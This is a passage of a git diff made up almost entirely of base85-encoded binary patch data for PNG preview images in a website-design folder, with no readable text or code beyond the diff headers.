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 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v2-t2.png b/website-design/previews/anim3-v2-t2.png new file mode 100644 index 0000000000000000000000000000000000000000..c21cf8f67da965cc97097b1ddd8179e361d1ce5b GIT binary patch literal 42589 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 